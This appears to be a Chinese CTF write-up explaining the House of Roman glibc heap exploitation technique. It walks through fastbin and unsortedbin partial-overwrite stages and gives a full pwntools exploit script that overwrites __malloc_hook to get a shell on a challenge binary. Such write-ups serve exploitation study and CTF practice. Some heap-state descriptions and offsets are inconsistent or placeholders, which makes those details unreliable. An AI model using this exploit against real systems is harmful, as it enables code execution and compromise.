house of roman(poc以及题目详解)
字数 1714 2025-08-22 12:22:24

House of Roman 利用技术详解

概述

House of Roman 是一种在 glibc 2.23 到 2.29 版本之间可用的堆利用技术,它结合了 fastbin attack 和 unsortedbin attack,可以在不泄露堆地址的情况下通过局部写和爆破(12bit,即4096分之一概率)实现 getshell。

适用条件

  1. 漏洞要求:至少有一个 UAF(Use After Free)或堆溢出漏洞
  2. 堆操作能力:能够创建任意大小的堆块
  3. 目标环境:glibc 2.23 到 2.29 版本
  4. 信息泄露:不需要泄露堆地址

核心原理

House of Roman 的核心思路是利用局部写减少随机化的程度,从而给出爆破的可能。攻击分为三个阶段:

  1. 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook
  2. 通过 unsortedbin attack 把 main_arena 写到 __malloc_hook
  3. 通过低位地址修改 __malloc_hook 为 one_gadget 或 system 函数

详细攻击步骤

第一阶段:fastbin attack 准备

  1. 申请四个堆块,大小分别为 0x60, 0x80, 0x80, 0x60(编号为 0,1,2,3)
  2. 释放第三个堆块(编号2),使其进入 unsortedbin
  3. 申请一个 0x60 大小的堆块(编号4),这会从编号2的堆块中切割,此时新堆块中包含 main_arena 的地址
  4. 释放编号3和编号0的堆块,使它们进入 fastbin(链表:fastbin 0x70 -> chunk1 -> chunk4)
  5. 修改 chunk0 的 fd 指针最后一个字节为 00,使链表变为 chunk0 -> chunk2_1(从编号2堆块中切割出的部分)

第二阶段:指向 __malloc_hook

  1. 通过观察发现 main_arena 和 __malloc_hook 的地址只有末三位不同,且末三位固定
  2. 修改从编号2堆块中拆出的堆块(编号4)的 fd 指针,指向 __malloc_hook - 0x23
  3. 连续 malloc 两次,将 fastbin 中的 chunk malloc 回去
  4. 再次 malloc 就能拿到一个指向 __malloc_hook 附近的 chunk
  5. 注意:由于 __malloc_hook 的最后半字节是随机的,需要爆破(4096分之一概率)

第三阶段:unsortedbin attack

  1. 申请两个堆块,大小分别为 0x80 和 0x30(编号8和9,0x30用于防止与 top chunk 合并)
  2. 释放 0x80 大小的堆块(编号8),使其进入 unsortedbin
  3. 覆盖当前堆块的 fd 末字节,使 bk 为 __malloc_hook - 0x10
  4. 再次申请回来,完成攻击,此时 __malloc_hook 被写入 main_arena + 0x68 的值

最终利用

  1. 通过局部写修改 __malloc_hook 为 one_gadget 或 system 函数地址
  2. 触发 malloc 调用 getshell

例题分析

程序分析

  1. 保护机制:NX 启用,其他保护可能关闭
  2. 功能:
    • add:可以申请任意大小的堆块,最多19个
    • edit:存在 off-by-one 漏洞
    • delete:存在 UAF 漏洞
    • 没有 show 功能,无法直接泄露 libc

EXP 编写步骤

from pwn import *

io = process('./pwn')
libc = ELF('libc-2.23.so')

def add(size, idx):
    io.sendline("1")
    io.recvuntil(b':')
    io.sendline(str(size))
    io.recvuntil(b':')
    io.sendline(str(idx))

def free(idx):
    io.recv()
    io.sendline("3")
    io.recvuntil(b':')
    io.sendline(str(idx))

def edit(idx, data):
    io.recv()
    io.sendline("2")
    io.recvuntil(b':')
    io.sendline(str(idx))
    io.recvuntil(b':')
    io.send(data)  # 只能用send,避免影响部分修改
    io.recv()
    io.sendline(b'aaaa')

# 初始堆布局
add(0x60, 0)
add(0x80, 1)
add(0x80, 2)
add(0x60, 3)

# 释放堆块2进入unsortedbin
free(2)

# 从堆块2切割出0x60大小的堆块4
add(0x60, 4)

# 释放堆块3和0进入fastbin
free(3)
free(0)

# 修改堆块0的fd指针最后一个字节为00
edit(0, b'\x00')

# 修改堆块4的fd指向__malloc_hook-0x23
edit(4, p16(0x3aed))  # 具体值需要根据实际情况调整

# 申请两次清空fastbin
add(0x60, 5)
add(0x60, 6)

# 现在可以申请到__malloc_hook附近的chunk
add(0x60, 7)  # 指向__malloc_hook-0x23

# 准备unsortedbin attack
add(0x80, 8)
add(0x30, 9)  # 防止合并
free(8)

# 修改bk指针为__malloc_hook-0x10
edit(8, p64(0) + p8(0))

# 申请回来完成unsortedbin attack
add(0x80, 10)

# 修改__malloc_hook为one_gadget或system
edit(7, b'a'*0x13 + p16(0x5380) + p8(0x84))  # 具体值需要调整

# 触发malloc调用getshell
add(0x20, 11)

io.interactive()

注意事项

  1. 在 glibc 2.29 之后,unsortedbin attack 失效,因此 House of Roman 也随之失效
  2. 实际利用时需要根据目标环境调整偏移量
  3. 爆破成功率为 1/4096,可能需要多次尝试
  4. 如果没有合适的 one_gadget,可以考虑改为 system 函数

总结

House of Roman 是一种在特定环境下非常有用的利用技术,它结合了多种堆利用技巧,能够在信息泄露有限的情况下实现利用。理解这种技术有助于深入掌握堆利用的各种技巧和思路。

House of Roman 利用技术详解 概述 House of Roman 是一种在 glibc 2.23 到 2.29 版本之间可用的堆利用技术,它结合了 fastbin attack 和 unsortedbin attack,可以在不泄露堆地址的情况下通过局部写和爆破(12bit,即4096分之一概率)实现 getshell。 适用条件 漏洞要求:至少有一个 UAF(Use After Free)或堆溢出漏洞 堆操作能力:能够创建任意大小的堆块 目标环境:glibc 2.23 到 2.29 版本 信息泄露:不需要泄露堆地址 核心原理 House of Roman 的核心思路是利用局部写减少随机化的程度,从而给出爆破的可能。攻击分为三个阶段: 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook 通过 unsortedbin attack 把 main_ arena 写到 __malloc_hook 上 通过低位地址修改 __malloc_hook 为 one_ gadget 或 system 函数 详细攻击步骤 第一阶段:fastbin attack 准备 申请四个堆块,大小分别为 0x60, 0x80, 0x80, 0x60(编号为 0,1,2,3) 释放第三个堆块(编号2),使其进入 unsortedbin 申请一个 0x60 大小的堆块(编号4),这会从编号2的堆块中切割,此时新堆块中包含 main_ arena 的地址 释放编号3和编号0的堆块,使它们进入 fastbin(链表:fastbin 0x70 -> chunk1 -> chunk4) 修改 chunk0 的 fd 指针最后一个字节为 00,使链表变为 chunk0 -> chunk2_ 1(从编号2堆块中切割出的部分) 第二阶段:指向 __malloc_hook 通过观察发现 main_ arena 和 __malloc_hook 的地址只有末三位不同,且末三位固定 修改从编号2堆块中拆出的堆块(编号4)的 fd 指针,指向 __malloc_hook - 0x23 连续 malloc 两次,将 fastbin 中的 chunk malloc 回去 再次 malloc 就能拿到一个指向 __malloc_hook 附近的 chunk 注意:由于 __malloc_hook 的最后半字节是随机的,需要爆破(4096分之一概率) 第三阶段:unsortedbin attack 申请两个堆块,大小分别为 0x80 和 0x30(编号8和9,0x30用于防止与 top chunk 合并) 释放 0x80 大小的堆块(编号8),使其进入 unsortedbin 覆盖当前堆块的 fd 末字节,使 bk 为 __malloc_hook - 0x10 再次申请回来,完成攻击,此时 __malloc_hook 被写入 main_ arena + 0x68 的值 最终利用 通过局部写修改 __malloc_hook 为 one_ gadget 或 system 函数地址 触发 malloc 调用 getshell 例题分析 程序分析 保护机制:NX 启用,其他保护可能关闭 功能: add:可以申请任意大小的堆块,最多19个 edit:存在 off-by-one 漏洞 delete:存在 UAF 漏洞 没有 show 功能,无法直接泄露 libc EXP 编写步骤 注意事项 在 glibc 2.29 之后,unsortedbin attack 失效,因此 House of Roman 也随之失效 实际利用时需要根据目标环境调整偏移量 爆破成功率为 1/4096,可能需要多次尝试 如果没有合适的 one_ gadget,可以考虑改为 system 函数 总结 House of Roman 是一种在特定环境下非常有用的利用技术,它结合了多种堆利用技巧,能够在信息泄露有限的情况下实现利用。理解这种技术有助于深入掌握堆利用的各种技巧和思路。